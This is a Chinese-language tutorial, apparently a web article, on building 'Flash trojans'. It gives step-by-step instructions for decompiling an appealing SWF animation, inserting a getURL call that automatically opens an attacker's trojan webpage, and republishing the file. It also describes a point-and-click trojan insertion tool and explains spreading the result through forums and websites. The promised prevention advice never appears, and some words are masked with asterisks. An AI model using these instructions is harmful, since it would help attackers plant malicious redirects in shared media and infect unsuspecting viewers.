在网站上观看Flas *** ，接收到“好友”发来的一张Flash贺卡，甚至于一个 *** 魔法表情，一不留神就中了一个木马!Flas *** 木马可以说是无处不在，攻击威力和覆盖面极其广。许多朋友一定想了解Flash木马的原理，想知道攻击者是如何在SWF中插入木马的呢?我们应该怎么样来防范Flash木马呢? 一、 *** Flas *** 木马的准备         Flas *** 木马的原理，是在网页中显示或本地直接播放Flas *** 木马时，让Flash自动打开一个网址，而该网址就是我们预先 *** 好的一个木马网页。也就是说，在 *** 网页木马前，我们首先需要 *** 好一个网页木马，并将它放置到某个网站上去。         另外，我们还需要准备一个比较吸引人的Flas *** 文件“MM热舞.swf”，以及Flas *** 反编译工具“闪客精灵”，编辑工具Macromedia Flash MX。 二、最原始的Flash木马        现在虽然有了许多各种各样的Flas *** 木马 *** 工具，但是为了了解Flas *** 木马的最基本原理，有必要从头开始用最原始的 *** *** 一个Flash木马。 步骤一：反编译SWF动画         首先我们需要将要插入网页木马的Flas *** 文件“MM热舞.swf”，反编译成可编辑的.fla格式。运行“闪客精灵”，点击菜单“文件”→“快速打开”命令，指定“MM热舞.swf”文件将其导入。然后点击工具栏上的“导出FLA”命令，将动画导出为“MM热舞.fla”文件。 步骤二：插入网页木马代码        然后运行Flas *** 编辑器Macromedia Flash MX，点击菜单“文件”→“打开”，调入刚才保存的fla文件。展开界面下方的“动作/帧”栏，再展开“动作”→“浏览器/ *** ”项，点击其中的“getURL”命令，在右边窗口中的“URL”里面输入我们的网页木马地址；窗口方式为“_blank”;“变量”设置为“使用GET方式发送”，在下方的代码窗口中将出现“getURL("http://网页木马地址", "_blank", "GET");”。 步骤三：生成Flash木马        设置完毕后保存文件，并点击菜单“文件”→“发布”命令，将动画重新导出为SWF格式。用IE浏览器打开刚才生成的Flas *** 木马，可以看到随着Flas *** 打开播放时，自动弹出一个浏览器窗口，里面将会显示我们的木马网页。 三、简简单单生成Flash木马        上面插入木马的过程比较麻烦，下面我们介绍一个简单的 *** ，也正是这些简单的工具使得Flash木马在网上随处可见。         运行SWF木马插入器，点击界面中的“选择”按钮，浏览指定要插入木马的SWF文件；在“插入代码”中输入木马网页的地址；切记不要勾选下面的“只解压”项。设置完毕后，点击“给我插”按钮，程序提示开始插入木马网页。显示成功信息后，关闭程序，用IE打开生成的动画，可以看到自动跳转到木马网页去了。 四、Flash木马的利用        看到上面的步骤了吧，生成一个Flas *** 木马是不是很简单? 那么生成的Flash木马该如何应用呢?只要我们将Flash上传到某个网站中，就可以通过论坛或网站之类的直接利用了。